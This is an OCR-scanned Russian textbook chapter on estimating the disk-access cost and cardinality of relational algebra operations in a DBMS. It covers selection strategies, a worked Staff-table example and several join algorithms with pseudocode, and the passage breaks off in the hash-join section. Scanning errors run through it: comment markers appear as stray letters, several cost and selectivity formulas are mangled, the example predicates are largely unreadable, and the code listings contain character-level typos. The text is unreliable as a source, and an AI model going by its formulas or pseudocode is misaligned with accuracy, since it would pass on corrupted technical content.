Оценка стоимости операций реляционной алгебры
СУБД может поддерживать множество различных способов реализации операций реляционной алгебры. Назначение всего процесса оптимизации запросов состоит в выборе наиболее эффективного способа их обработки. Для этого система использует формулы, позволяющие оценить стоимость нескольких различных вариантов обработки, после чего выбирает тот из них, стоимость которого минимальна. В этом разделе мы познакомимся с различными вариантами реализации основных операций реляционной алгебры. По каждому типу операций вашему вниманию будет предоставлен обзор существующих методов реализации и даны рекомендации по оценке их стоимости. Основная стоимость процесса обработки запроса обычно создается операциями доступа к диску, которые выполняются во много раз медленнее, чем собственно обработка данных в оперативной памяти. Поэтому значение оценки стоимости реляционных операций будет определяться как стоимость необходимых операций доступа к дискам. Каждая оценка будет отражать требуемое количество операций доступа к блокам данных на диске, за исключением операций записи результирующего набора данных.
Как мы скоро увидим, очень часто оценка стоимости операции зависит от кардинальности обрабатываемых отношений. Следовательно, поскольку необходимо уметь определять кардинальность создаваемых промежуточных отношений, вашему вниманию будут предложены и некоторые типовые методы оценки кардинальности выполняемых операций. Данный раздел начинается с обзора типичных статистических показателей, которые СУБД сохраняют в системном каталоге для обеспечения процедур оценки стоимости операций.
Статистические показатели базы данных
Достоверность оценки объема и стоимости выполнения промежуточных операций реляционной алгебры в значительной степени определяется полнотой и актуальностью статистической информации, накапливаемой службами СУБД. Как правило, типичная СУБД сохраняет в своем системном каталоге статистические данные, перечисленные ниже.
Для каждого базового отношения R:
ntuples(R): — количество кортежей (записей) в отношении R (т.е. его кардинальность);
bfactor(R): — показатель блокирования отношения R (т.е. количество кортежей отношения R, размещаемых в одном дисковом блоке);
nblocks(R): — количество блоков вторичной памяти, необходимых для сохранения отношения R. Если кортежи отношения R физически размещаются в одном участке, то справедлива следующая формула:
nblocks(R) = [ntuples(R)/bfactor(R)].
Для каждого атрибута А базового отношения R:
ndistinctA(R): - количество уникальных значений атрибута А в отношении R;
minA(R),maxA(R): - минимальное и максимальное количество возможных значений атрибута А в отношении R;
SCa(R): -кардинальность выборки атрибута А в отношении R. Оно пред
ставляет собой среднее количество кортежей, которые удовлетворяют условию, заданному для атрибута А. Если предположить, что значения атрибута А равномерно распределены по отношению R и что существует по крайней мере одно значение, удовлетворяющее заданному условию, то значение SCA(R) может быть определено по следующим формулам:
1 -если атрибут А является ключевым
атрибутом отношения R,
[ntuples(R)/ndistinctA (R)] - в противном случае.
Кроме того, может быть выполнена оценка кардинальности выборки для различных условий. В этом случае значение SCA(R) может быть определено по следующим формулам:
[ntuples(R)*((maxA(R)-c)/(maxA(R)-minA(R)) ] - для (А>с);
[ntuples(R)*{(c4naxA(R))/(maxA(R)-minA(R))] - для (А<с);
[ (ntuples(R)/ndistinctA(R) )*п] -для (A in
{Ci,c2,...,cn});
SCA(R)*SCB(R) -для (А А В)
SCa(R)+SCb(R)-SCa(R)*SCb(R) -для(А v В).
Для каждого многоуровневого индекса I множества значений атрибута А:
nlevelsA(I): — количество уровней индекса I;
nlfblocksA(I): — количество листовых блоков индекса I.
Поддержание всех этих статистических показателей в актуальном состоянии может представлять собой серьезную проблему. Если СУБД будет выполнять обновление статистических показателей каждый раз при вставке, обновлении или удалении кортежа, то это окажет весьма существенное влияние на общую производительность системы в периоды ее пиковой нагрузки. В альтернативном варианте, который чаще всего используется на практике, процедуры обновления статистики выполняются либо с установленным периодом (например, каждую ночь), либо в моменты простоя системы.
Операция выборки (S = ap(R))
Как уже отмечалось в разделе 3.4.1, в реляционной алгебре операция выборки выполняется над одним отношением, например, таким как R. В результате ее выполнения создается новое отношение S, содержащее только те кортежи отношения R, которые удовлетворят указанному предикату р. Предикат может быть простым, включающим единственную операцию сравнения атрибута отношения R с некоторой константой или значением другого атрибута. Предикат может также быть составным, включающим несколько условий, соединенных с помощью логических операций л (AND), v (OR) и - (NOT). Существует несколько различных способов реализации операции выборки, выбор которых зависит от структуры файла, в котором хранится от-
ношение, а также от того, какими являются используемые в предикате атрибуты — индексированными или хешированными. Ниже перечислены основные типы стратегий, с которыми мы познакомимся в этом разделе.
Линейный поиск (файл не отсортирован, индекс отсутствует).
Двоичный поиск (упорядоченный файл, индекс отсутствует).
Поиск по равенству ключа перемешивания.
Поиск по равенству первичного ключа.
Поиск по неравенству первичного ключа.
Поиск по равенству значения кластерного (вторичного) индекса.
Поиск по равенству значения некластерного (вторичного) индекса.
Поиск по неравенству значения вторичного индекса типа В+-Тгее.
Формулы расчета стоимости для всех указанных типов стратегий приведены в табл. 18.1.■
Таблица 18.1. Сводные данные по оценке стоимости операций ввода/вывода для различных стратегий выполнения операций выборки
Стратегия
Оценка стоимости
Линейный поиск
(неупорядоченный файл без индекса)
[ nblocks (R) / 2 ] - в случае поиска по равенству ключевого атрибута;
nblocks(R) - в противном случае
Двоичный поиск
(упорядоченный файл без индекса)
[ log2(nblocks(R)) ] - в случае поиска по равенству ключевого атрибута;
[ 1од2(nblocks(R))] + [SCA(R)/bfactor(R) ]-1 - в противном случае
Поиск по равенству ключу перемешивания
1 - при отсутствии переполнения
Поиск по равенству первичному ключу
nlevelsA(I)+1
Поиск по неравенству первичному ключу
nlevelsA(I)+[nblocks(R)/2]
Поиск по равенству значению кластерного (вторичного) индекса
nlevelsA(I)+[SCA(R)/bfactor(R)]
Поиск по равенству значению некластерного (вторичного) индекса
nlevelsA(I)+[SCA(R)]
Поиск по неравенству значению вторичного индекса типа В+-Тгее
nlevelsA( I) + (nlfblocksA(I)/2+ntuples(R) / 2 ]
Оценка кардинальности операции выборки
Прежде чем приступать к рассмотрению различных стратегий выполнения операции выборки, целесообразно познакомиться с методами оценки ожидаемого количества кортежей и ожидаемого количества уникальных значений атрибута в результирующем отношении S, полученном при выполнения операции выборки в отношении R. Получение точных значений обычно является достаточно сложной задачей. Однако, если сделать стандартное упрощающее предположение о том, что значения атрибута равномерно распределены в пространстве его домена и независимы друг от друга, то можно воспользоваться следующими формулами:
ntuples(S) = SCa(R)предикат р имеет вид (А 0 х)
Для любого атрибута В * А в отношении S значение ndistinctB(S) будет равно:
ntuples(S),если ntuples(S) < ndistinctB (R) / 2;
((ntuples(S)+ ndistinctB(R))/3], если
ndistinctB(R)/2 < ntuples(S) < 2*ndistinctB(R);
ndistinctB(R),если ntuples(S) > 2*ndistinctB(R).
Можно получить более точные оценки, если отказаться от предположения о равномерном распределении значений атрибута, однако в этом случае потребуется использовать более подробную статистическую информацию — например, гистограммы и шаги распределения (Piatetsky-Shapiro and Connell, 1984).
Вариант 1. Линейный поиск
(неупорядоченный файл без индекса)
В данном случае может потребоваться выполнить сканирование каждого кортежа в каждом дисковом блоке с целью проверки его на соответствие заданному предикату. Этот метод иллюстрируется алгоритмом, представленным в листинге 18.1. Если поиск выполняется по ключевому атрибуту отношения и можно предполагать, что кортежи равномерно распределены по файлу, то, в среднем, до нахождения требуемого кортежа потребуется считать половину блоков файла. Поэтому формула для оценки стоимости будет иметь такой вид:’
[nblocks(R)/2]
Листинг 18.1. Алгоритм линейного поиска
//
И Линейный поиск
И predicate - это ключ поиска.
И Файл не отсортирован. Блоки последовательно пронумерованы, начиная с 1.
И Возвращается результирующая таблица, содержащая те кортежи отношения R,
И которые соответствуют предикату.
И
for i = 1 to nblocks(R) {// цикл по всем блокам файла
block = read_block(R, i);
for j = 1 to ntuples(block) { И цикл по всем кортежам в блоке i
if (block.tuple[j] <удовлетворяет> predicate^ then <помещение кортежа в результирующую таблицу>;
}
}
Для любых других условий можно обоснованно принять, что потребуется считать весь файл, поэтому формула для оценки стоимости будет иметь такой вид:
nblocks(R)
Вариант 2. Двоичный поиск (упорядоченный файл без индекса)
Если предикат имеет вид (А=х) и файл упорядочен по значениям атрибута А, который одновременно является ключевым атрибутом отношения R, формула для оценки стоимости операции выборки будет иметь следующий вид:
[log2( nblocks (R)) ]
Алгоритм для выполнения данного типа поиска представлен в листинге 18.2. В более общем случае оценка стоимости может быть выполнена по другой формуле:
[log2(nblocks(R))] + (SCA(R)/bfactor(R)] - 1
Здесь первый терм отражает стоимость поиска первого из выбираемых кортежей, для чего используется метод двоичного поиска. Ожидается, что предикату будет удовлетворять SCA(R) кортежей, расположенных в [SCA(R)/bfactor(R)] блоках файла, один из которых уже был считан при выполнении двоичного поиска первого кортежа.
Листинг 18.2. Алгоритм двоичного поиска в упорядоченном файле
И
// Двоичный поиск
// predicate - это ключ поиска.
// Файл упорядочен по возрастанию значений ключевого поля А.
// Файл состоит из nblocks блоков, последовательно пронумерованных, начиная с 1.
И Возвращается булева переменная (found), указывающая, была ли найдена запись,
И которая соответствует предикату, а также результирующая таблица,
Н если таковая существует.
Н
next = 1; last = nblocks; found = FALSE; keep_searching = TRUE;
while (last >= 1 and (not found) and (keep_searching)) {
i = (next + last)/2; // Разделение обследуемой области пополам
block = read_block(R, i) ;
if (predicate < ordering key_field(first_record(block)))
then/7 запись в нижней половине обследуемой области
last = i - 1;
else if (predicate > ordering_key_field(last_record(block)))
then// запись в верхней половине обследуемой области
next = i + 1;
else if (check J)lock_for_predicate(block, predicate, result)) then ~// требуемая запись в данном блоке
found = TRUE?
else// требуемая запись отсутствует
keepjsearching = FALSE;
}
Вариант 3. Поиск по равенству ключу перемешивания
Если атрибут А является ключом перемешивания файла, то для вычисления адреса выбираемого кортежа может быть использован алгоритм перемешивания. Если файл не имеет переполнений, то ожидаемая стоимость выборки будет равна 1. Если переполнения имеют место, то для доступа к данным могут потребоваться дополнительные дисковые операции, число которых зависит от количества переполнений и выбранного метода их обработки.
Вариант 4. Поиск по равенству первичному ключу
Если предикат включает условие равенства значению в поле первичного ключа (А=х), то для выборки единственной записи, удовлетворяющей заданному условию, может использоваться первичный индекс. В этом случае потребуется считать количество блоков, на единицу большее количества операций чтения индекса, которое будет равно числу его уровней. Поэтому формула вычисления оценки стоимости будет иметь следующий вид:
nlevelsA(I) + 1
Вариант 5. Поиск по неравенству первичному ключу
Если предикат включает условие неравенства значению в поле первичного ключа А (А<х, А<=х, А>х, А>=х), то сначала потребуется воспользоваться индексом для поиска записи, удовлетворяющей предикату А=х. Поскольку значения в индексе отсортированы, требуемые записи могут быть извлечены посредством доступа ко всем записям индекса, расположенным выше или ниже Найденной. Если принять, что записи распределены по файлу равномерно, то заданному условию неравенства будет удовлетворять половина записей файла. Поэтому в данном случае формула оценки стоимости выборки будет иметь следующий вид:
nlevelsA (I)+[nblocks(R)/2]
Вариант 6. Поиск по равенству значению кластерного (вторичного) индекса
Если предикат включает условие равенства значению атрибута А, который не является первичным ключом, однако имеет кластерный вторичный индекс, то этот индекс может использоваться для выборки требуемых записей. Поэтому формула оценки стоимости будет иметь такой вид:
nlevelsA(I) + [SCA(R)/bfactor(R) ].
Второй терм в этой формуле представляет собой оценку количества блоков, которые потребуются для сохранения всех кортежей, удовлетворяющих условию равенства, общее количество которых оценивается как SCA(R).
Вариант 7. Поиск по равенству значению некластерного (вторичного) индекса
Если предикат включает условие равенства значению атрибута А, который не является первичным ключом отношения, но имеет некластерный вторичный индекс, то этот индекс может использоваться для выборки требуемых записей. В этом случае можно предположить, что все выбираемые записи будут размещаться в различных блоках (так как индекс не является кластерным). Отсюда формула оценки стоимости выборки имеет следующий вид:
nlevelsA(I)+[SCA(R)]
Вариант 8. Поиск по неравенству значению вторичного индекса типа В+-Тгее
Если предикат включает условие неравенства значению атрибута А (А<х, А<=х, А>х, А>=х), который имеет вторичный индекс типа В+-Тгее, тогда для поиска по условию < или <= можно выполнить сканирование листовых узлов дерева от минимального значения до значения х, а для поиска по условиям > или >= — от значения х до максимального значения. Если предположить равномерное распределение значений, то в каждом случае потребуется обработка половины листовых узлов дерева. Поэтому для оценки стоимости выборки можно использовать такую формулу:
nlevelsA( I)+[nlfblocksA( I)/2+ntuples(R) / 2 ]
Алгоритм поиска единственного кортежа в индексе типа В+-Тгее представлен в листинге 18.3.
, Листинг 18.3. Алгоритм поиска в В+-Тгее-дереве единственного кортежа, соответствующего заданному значению
И'
И Поиск в В*-Тгее-дереве
// Структура В+-Тгее-дерева представлена как связанный список, в котором
И каждый нелистовой узел имеет следующую структуру:
И максимум п элементов, каждый из которых состоит из следующих компонентов:
// ключевого значения ^key) и указателя (р) на дочерний узел (возможно NULL).
И Ключи упорядочены: keyl < key2 < кеуЗ < ... < кеуп-1.
И Листовые узлы указывают собственно на записи данных.
// Predicate - это ключ поиска.
И Возвращается булева переменная founds указывающая, была ли найдена // требуемая запись, а также адрес найденной записи (return_address), // если таковая имеется.
//
node = get_rооt_node();
while (<узел не является листовым узлом>) {
i = 1;//поиск ключа, который меньше значения предиката
while (not (i > n or predicate < node[i].key)) {
i = i + 1;
}
node = get_next_node(hode[i].p); H node[i].p указывает на поддерево, И которое может содержать требуемый предикат.
}
// Листовой узел найден. Проверка, существует ли запись с требуемым предикатом.
i = 1;.
found = FALSE;
while (not (found or i > n)) {
if (predicate = node[i]•key)
then {
found = TRUE;
return address = node[i].p;
}~
else
i = i + 1;
}
Составные предикаты
До этого момента речь шла о простых предикатах, включающих условия сравнения для единственного атрибута. Однако во многих случаях используются составные предикаты, включающие больше одного атрибута. В разделе 18.2 уже отмечалось, что составной предикат может быть представлен в двух формах — конъюнктивной нормальной форме и дизъюнктивной нормальной форме.
Конъюнктивная выборка включает только те кортежи, которые удовлетворяют всем заданным условиям.
Дизъюнктивная выборка включает набор кортежей, представляющий собой объединение всех кортежей, удовлетворяющих любой из заданных дизъюнкций.
Конъюнктивная выборка без дизъюнкций
Если композитный предикат не содержит дизъюнктивных термов, для реализации операции выборки может использоваться один из следующих подходов.
Если один из атрибутов в конъюнкции имеет индекс или является ключом упорядочивания, то для выборки кортежей, удовлетворяющих заданному условию, можно использовать одну из стратегий 2-8, предлагавшихся выше. Затем для каждого выбранного кортежа выполняется проверка на соответствие остальным, входящим в предикат условиям.
Если выборка включает условие равенства для двух или больше атрибутов и для данной комбинации атрибутов существует составной индекс (или ключ
перемешивания), то можно выполнить прямой поиск в этом индексе (в соответствии с предложенными выше алгоритмами). Тип индекса определяет, какой из обсуждавшихся выше алгоритмов будет использован.
Если существуют вторичные индексы, созданные для одного или больше атрибутов и эти атрибуты в предикате используются только в условиях поиска по равенству, то в том случае, если в индексах используются указатели на записи, а не на блоки данных, можно выполнить сканирование каждого из индексов с целью поиска кортежей, удовлетворяющих отдельным условиям. Затем строится пересечение для всех полученных наборов указателей, образующее результирующий набор указателей, удовлетворяющих всем этим условиям. Если индексы существуют не для всех используемых в предикате атрибутов, то выбранные кортежи дополнительно проверяются на соответствие оставшимся условиям.
Выборки с дизъюнкциями
Если один из термов в условии выборки содержит условие v (OR) и этот терм требует выполнения линейного поиска, поскольку для него не существует подходящего индекса или упорядочивания, вся операция выборки должна выполняться с помощью операции линейного поиска. Оптимизация операции выборки возможна только в том случае, если индекс или упорядоченность существует для всех термов в условии выборки и осуществляется за счет извлечения записей, удовлетворяющих отдельным условиям с последующим объединением полученных результирующих наборов по методу, предлагаемому в разделе 18.4.5, который позволяет исключить дублирующиеся значения. В этом случае также могут использоваться указатели на записи, если таковые существуют.
Если для организации эффективного доступа не может быть использован ни один из атрибутов, то выборка осуществляется с помощью линейного поиска и проверки каждого из кортежей на соответствие сразу всем заданным условиям. Ниже приводится пример, иллюстрирующий применение методов оценки стоимости операций выборки.
Пример 18.4.Оценка стоимости операции выборки '
В данном примере для отношения Staff приняты следующие предположения.
Для первичного ключа отношения (атрибут Sno) существует индекс перемешивания, не имеющий переполнений.
Имеется кластерный индекс по атрибуту Впо, являющемуся внешним ключом ( ! данного отношения.
I • Индекс типа В+-Тгее создан по атрибуту Salary.
| • Для таблицы Staff в системном каталоге хранится следующая статистическая информация:
ntuples(Staff)
=3 000
bfactor(Staff)
=
30
»4>
nblocks(Staff)
—
100
ndistinctbno (Staff)
=
500
c>
SCbno(Staff)
=
6
ndistinctpoeition (Staff)
=
10
c>
SCposition(Staff)
=
300
ndistinct,alary (Staff)
=
500
»4>
SCsalary(Staff)
=
6
■i”«eUry(SUff)
=
10 000
maxsalary(Staff)
=
50 000
nlevelsbno(I)
=
2
nlevels,alary(I)
-
2
nlfblockssalary(I)
=
50
Оценка стоимости линейного поиска по ключевому атрибуту Sno равна 50 блокам, , а для прочих (неключевых) атрибутов — 100 блоков. Рассмотрим следующие операции выборки и оценим их стоимость с помощью предложенных выше стратегий:
asn0=iSG5'( Staff)
S2«^position»'Manager' (Staff)
Оъпо^вз'(Staff)
S4*^8alary>20000 (Staff)
(^pos ition= * Manag erл bno-' B3' (S t a f f)
i SI: Эта операция выборки содержит условие отбора по равенству для атрибута' I первичного ключа. Поскольку атрибут Sno является ключом перемешивания,: \ можно воспользоваться третьим вариантом стратегии, для которой выше было * определено значение оценки, равное 1 блоку. Оценка кардинальности резуль- { тирующей таблицы этой операции составляет: SC8no (Staff )=1.-
* S2:Используемый в предикате атрибут не является ключевым и не имеет собствен;ного индекса, поэтому при обработке будет использоваться метод линейного по-
\ иска, а оценка стоимости выполнения операции будет равна 100. Оценка карди- ‘ нальности результирующей таблицы составляет: SCyQgitioJ Staff )=300..
; S3: Атрибут, используемый в предикате, является внешним ключом отношения, j для которого создан кластерный индекс. Поэтому для выполнения операции :будет использован шестой вариант стратегии, стоимость которого может
I быть вычислена так: 2+[б/30]=3 блока. Оценка кардинальности результи- < рующей таблицы составляет: SCbno(Staff)=6../
В данном случае предикат требует выполнения поиска в заданном диапазоне: jпо значению атрибута Salary. Поскольку для этого атрибута создан индекс ти-
па В+-Тгее, обработка операции будет проводиться с использованием восьмого
Iварианта стратегии, а оценка стоимости выполнения операции будет равна:
*2+[50/2]+[3000/2]=1527 блоков. Однако этот результат существенно хуже того,
jкоторый был получен при использовании обычного линейного поиска, поэтому
!следует отказаться от восьмого варианта стратегии и применить метод обыч-
iного линейного поиска. Оценка кардинальности результирующего отношения
j составляет: SCsalary(Staff)=[3000*(50000-20000)/(50000-10000) 1=2250.,
s S5: В этом примере предикат является составным, причем его второе условие ; может быть реализовано с использованием кластерного индекса по атрибуту j Bno. Согласно приведенным выше результатам анализа примера S3, в этом - \случае оценка стоимости операции составляет 3 блока. Каждый извлечен’ный с помощью кластерного индекса кортеж дополнительно должен быть
j проверен на соответствие первому условию предиката (position*'Manager'). ) Уже известно, что оценка кардинальности второго условия составляет: ISCbno( Staff )=6. Присвоим этому промежуточному отношению имя Г, после
I чего выполним оценку количества уникальных значений атрибута Position j ' во вновь созданном отношении Т. Эта оценка составляет: ndistinctpy^. *^опСГ)”! (6+10)/3]=б. Затем применяется второе условие предиката, в резуль
тате чего кардинальность результирующей таблицы операции выборки составляет: SCposition (Т)=6/6=1, что совершенно правильно, поскольку в каждом отделении компании DreamHome может быть только один менеджер. : :
8.4.3. Операция соединения (T = (RxF S))
В начале этой главы уже упоминалось, что одной из основных проблем, связанных с использованием первых коммерческих СУБД, была свойственная им невысокая производительность обработки запросов. В частности, наибольшие затруднения вызывала обработка операций соединения, которая является самой дорогостоящей из
всех операций реляционной алгебры (не считая операции декартового произведения). Поэтому следует прилагать все усилия для обеспечения выполнения этой операции с максимально возможной производительностью. В разделе 3.4.1 указывалось, что в результате выполнения бинарной операции тета-соединения создается результирующее отношение, которое содержит кортежи, удовлетворяющие заданному предикату F, применяемому к декартовому произведению двух исходных отношений — например, таких как R и S. Предикат F задается в формате R.a 0 S.b, где символ 0 обозначает одну из операций логического сравнения. Если предикат содержит только операции равенства (=), данное соединение называется соединением по эквивалентности. Если результат соединения включает все общие атрибуты отношений R и S, соединение называется естественным соединением. В этом разделе будут рассмотрены основные типы стратегий реализации операций соединения.
Соединение блоками с использованием вложенных циклов.
Индексированное соединение блоками с использованием вложенных циклов.
Соединение посредством сортировки-слияния.
Соединение посредством перемешивания.
Заинтересованный читатель может найти более полный обзор существующих стратегий выполнения операций соединения в работе Мишры и Эйха (Mishra and Eich, 1992). Оценки стоимости различных стратегий выполнения операций соединения приведены в табл. 18.2. Мы начнем наше обсуждение с определения оценок кардинальности операций соединения
Таблица 18.2. Сводные данные по оценке стоимости операций ввода/вывода для различных стратегий выполнения операций соединения
Стратегия
Стоимость
Условие
Соединение блоками с использованием вложенных циклов
Индексированное соединение блоками с использованием вложенных циклов
nblocks(R)+(nblocks(R)*nblocks(S))
nblocks(R)+[nblocks(S)*(nblocks(R) /(nbuffer-2))]
nblocks(R)+nblocks(S)
Зависит от метода индексирования, например:
nblocks (R)+n tuples (R) * (nlevelsA( I) +1)
nblocks(R)+ntuples(R)*(nlevelsA( I) +[SCA(R)/bfactor(R)])
Буфер содержит только один блок для R и S
Буфер содержит (nbuffer-2) блоков для R
В случае, если все блоки R могут быть считаны в буфер
В случае, если соединяемый атрибут А является в отношении S первичным ключом
Если индекс I - кластерный индекс атрибута А
Соединение посредством сортировки-слияния
nblocks(R)*[log2(nblocks(R) ] + nblocks(S)*[log2(nblocks(S) ]
nblocks(R)+nblocks(S)
В случае сортировки
В случае слияния
Соединение посредством пе
3(nblocks(R)+nblocks(S))+
В случае, если индекс пе
ремешивания
2*max_partitions
2(nblocks(R)Unblocks(S))* [log„buffer-i(”blocks(S) )-l ]+
nblocks(R)+nblocks(S)
ремешивания содержится в памяти
В остальных случаях
Оценка кардинальности операции соединения
Кардинальность декартового произведения отношений R и S, RxS, определяется очень просто:-
ntuples(R) * ntuples(S)
К сожалению, определение кардинальности любых операций соединения представляет собой значительно более сложную задачу, поскольку оно зависит от распределения значений соединяемых атрибутов. В самом худшем случае нам известно, что кардинальность любого соединения не может превышать кардинальности декартового произведения соединяемых отношений, поэтому:
ntuples(T) < ntuples(R) * ntuples(S)
В некоторых системах используется именно этот верхний предел, однако подобную оценку следует считать чрезмерно пессимистической. Если вновь предположить, что значения атрибутов в обоих отношениях распределены равномерно, то можно следующим образом улучшить оценку кардинальности соединения по эквивалентности с использованием предиката (R.A = S.B).
Если атрибут А является ключевым атрибутом отношения R, то каждый кортеж отношения S может быть соединен только с одним кортежем отношения R. Следовательно, кардинальность соединения по эквивалентности не может превысить кардинальности отношения S:
ntuples(T) < ntuples(S)
Аналогично, если атрибут В является ключевым атрибутом отношения S, то: ntuples(T) < ntuples(R)
Если ни атрибут А, ни атрибут В не являются ключевыми, то кардинальность соединения можно оценить следующим образом: ntuples(T) = SCA(R)*ntuples(S)или
ntuples(T) = SCB(S)*ntuples(R)
Для получения первой оценки используется тот факт, что для любого кортежа s в отношении S ожидается, в среднем, SCA(H) кортежей с заданным значением атрибута А и именно это количество кортежей отношения R будет принимать участие в соединении. Умножая это значение на количество кортежей в отношении S, мы получим первую из приведенных выше оценок. Аналогичным методом получена и вторая формула.
Вариант 1. Соединение блоками с использованием вложенных циклов
Самым простым алгоритмом выполнения операции соединения является метод вложенных циклов, при котором соединение двух отношений выполняется по одному кортежу за цикл. Во внешнем цикле выполняется последовательный перебор кортежей первого отношения R, а во внутреннем цикле последовательно просматриваются все кортежи второго отношения S. Однако, поскольку известно, что основной единицей обмена при чтении данных на дисковых устройствах является блок, можно улучшить базовый алгоритм, создав еще два дополнительных цикла, предназначенных для обработки считанных с диска блоков, что и сделано в алгоритме, предлагаемом вашему вниманию в листинге 18.4.
Листинг 18.4. Алгоритм соединения блоками с использованием вложенных циклов
И
// Соединение блоками с использованием вложенных циклов
// Блоки в обоих файлах последовательно пронумерованы, начиная с 1.
// Возвращается результирующая таблица соединения отношений R и S. //
for iblock = 1 to nblocks(R) {И Внешний цикл
Rblock = read^block(R, iblock);
for jblock = I to nblocks(S) {// Внутренний цикл
Sblock = read_block(S, jblock);
for i = 1 to ntuples)Rblock) {.
for j - 1 to ntuples!Sblock) {
if (Rblock.tuple[i]/Sblock.tuple[j]
<отвечает условию соединения^
then <помещение его в результирующую таблицу>;
}
}
Поскольку каждый блок отношения R должен быть считан хотя бы один раз, а каждый блок отношения S должен быть считан для каждого блока отношения R, оценка стоимости этого метода может быть выполнена по формуле:
nblocks(R) + (nblocks(R) * nblocks(S))
Заметим, что значение второго терма этой формулы постоянно, тогда как значение первого терма зависит от того, какое из отношений выбрано для считывания во внешнем цикле. Очевидно, что во внешнем цикле должно считываться то из двух соединяемых отношений, которое занимает меньшее количество дисковых блоков.
Еще одним улучшением данной стратегии можно стать считывание в буфер базы данных максимально возможного количества блоков меньшего из отношений (скажем, R), с сохранением места только для одного блока внутреннего отношения и одного блока результирующего отношения. Если в буфер базы данных может быть помещено nbuffer блоков, то следует сразу же считать nbuffer-2 блока отношения R и один блок отношения S. Общее количество считываемых блоков отношения R по- прежнему остается равным nblocks(R), однако общее количество считываемых блоков отношения S уменьшается приблизительно до (nblocks(S)*(nblocks(R)/(nbuffer-2))]. При использовании данного подхода формула вычисления оценки стоимости операции соединения приобретает следующий вид:
nblocks(R) + [nblocks(S)*(nblocks(R)/(nbuffer -2))]
Если окажется возможным считать все блоки отношения R, то формула будет иметь такой вид:
nblocks(R) + nblocks(S)
Если соединяемые атрибуты в соединении по эквивалентности (или естественном соединении) образуют ключ внутреннего отношения, то внутренний цикл может завершаться, как только будет найдено первое соответствие.
Вариант 2. Индексированное соединение блоками с использованием вложенных циклов
Если для соединяемых атрибутов внутреннего отношения существует индекс (или функция перемешивания), то можно заменить неэффективную операцию сканирования файла более эффективным поиском по индексу. Для каждого кортежа отношения R выборка соответствующих кортежей отношения S осуществляется с помощью индекса. Алгоритм индексированного соединения блоками с использованием вложенных циклов представлен в листинге 18.5. Для улучшения читабельности здесь приведен упрощенный алгоритм, в котором во внешнем цикле за один проход обрабатывается один блок. Как уже указывалось выше, для повышения эффективности
целесообразно сразу считывать в буфер базы данных столько блоков отношения R, сколько окажется возможным. Внесение этого улучшения в предложенный алгоритм мы оставляем для читателей.
| Листинг 18.5. Алгоритм индексированного соединения блоками с ! использованием вложенных циклов
И
И Соединение отношений R и S по индексированному атрибуту А, // выполняемое блоками с помощью алгоритма вложенных циклов И Предположим, что существуют индекс I по атрибуту А для отношения S, И содержащий m строк 1(1], 1[2], ... , I(m] с индексируемым значением И кортежа R[i].A
// Блоки отношения R последовательно пронумерованы, начиная с 1.
// Возвращается результирующая таблица соединения отношений R и S.
И
for iblock = 1 to nblocks(R) {
Rblock = readJ)lock(R, iblock);
for i = 1 to ntuples(Rblock) {
for j = 1 to m {.
if (Rblock.tuple[i].A = I[j])
then <помещение соответствующих кортежей в таблицу результата^ }
}
}
Это значительно более эффективный алгоритм соединения, позволяющий избежать создания в качестве промежуточного результата декартового произведения отношений R и S. Стоимость сканирования отношения R составляет nblocks(R), как и в предыдущем варианте. Однако стоимость выборки соответствующих кортежей отношения S теперь зависит от типа имеющегося индекса и количества соответствующих условию кортежей. Например, если соединяемый атрибут А является в отношении S первичным ключом, то стоимость операции соединения может быть вычислена по следующей формуле:
nblocks(R) + ntuples(R)*(nlevelsA(I) + 1)
Если соединяемый атрибут А в отношении S имеет кластерный индекс, то стоимость соединения можно вычислить по такой формуле:
nblocks(R) + ntuples(R)*(nlevelsA(I) + [SCA(R)/bfactor(R)])
Вариант 3. Соединение посредством сортировки-слияния
Для соединений по эквивалентности наиболее эффективный способ соединения достигается в том случае, когда оба отношения отсортированы по соединяемым атрибутам. В этом случае можно отыскать подходящие кортежи отношений R и S посред* ством слияния двух отношений. Если исходные отношения неупорядочены, можно предварительно выполнить их сортировку. Поскольку кортежи отношений располагаются в порядке сортировки, те из них, которые содержат одинаковые значения соединяемого атрибута гарантированно будут размещаться рядом друг с другом. Если предположить, что соединение выполняется для связи типа “многие ко многим”, т.е. в обоих отношениях может существовать несколько кортежей с одним и тем же соединяемым значением, а также принять, что любой набор кортежей с одним и тем же соединяемым значением может быть полностью помещен в буфер базы^ данных, то каждый блок каждого из соединяемых отношений достаточно будет считать только один раз. Следовательно, оценка стоимости соединения методом сортировки-слияния может быть вычислена по формуле:
nblocks(R) + nblocks(S)
Если одно из отношений (например, R) должно быть предварительно отсортировано, то в формулу следует добавить оценку стоимости операции сортировки, которая приблизительно может быть выполнена по следующей формуле:
nblocks (R)*[log2(nblocks(R)]
Схематически алгоритм соединения методом сортировки-слияния представлен в листинге 18.6.
: Листинг 18.6. Алгоритм соединения сортировкой-слиянием
И
// Соединение отношений R и S по атрибуту А методом сортировки-слияния
И Алгоритм предполагает соединение типа "многие ко многим".
// Для простоты процедуры чтения данных опущены.
// Отношения R и S предварительно сортируются (этого не требуется,
И если файлы уже отсортированы по атрибуту, используемому для соединения).
sort(R);
sort(S);
// Выполнение слияния
nextR = 1; nextS = 1;
while (nextR <= ntuples(R) and nexts <=ntuples(S)) { join_value = R.tuples[nextR].A;
// Сканирование отношения S до нахождения значения,
И меньшего чем текущее, используемое для соединения
while (S.tuples[nextS].А < join_value and nexts <= ntuples(S)) { nexts = nextS + 1;~’
}
// Возможно, найдены соответствующие кортежи отношений R и S.
U Каждый кортеж в отношении S с некоторым значением join_value
// ставится в соответсвие каждому кортежу в отношении R с этим же
// значением join_value. (Предполагается соединение типа M:N).
while (S.tuples[nextS].A = join_value and nextS <= ntuples(S)) { m = nextR;
while (R.tuples[m] .A = join_value and m <= ntuples(R)) {
<вывод соответствующих кортежей S.tuples[nextS] и
R.tuples[m] в таблицу результата^, m = m + 1;
}
nextS = nextS + 1;
}
// Найдены все кортежи отношений R и S
//с одним и тем же значением join_ value.
// Теперь выбираем из отношения R кортеж с другим значением join_value. , while (R.tuples[nextR].А = join_value and nextR <= ntuples(R)) {
nextR = nextR + 1;
}
}
Вариант 4. Соединение посредством перемешивания
Алгоритм соединения посредством перемешивания может использоваться в случае естественного соединения (или соединения по эквивалентности) отношений R и S по атрибуту А. Суть этого алгоритма состоит в разбиении отношений R и S на разделы в соответствии с некоторой функцией перемешивания, результаты вычисления которой дают равномерно распределенные случайные значения. Каждый полученный эквивалентный раздел
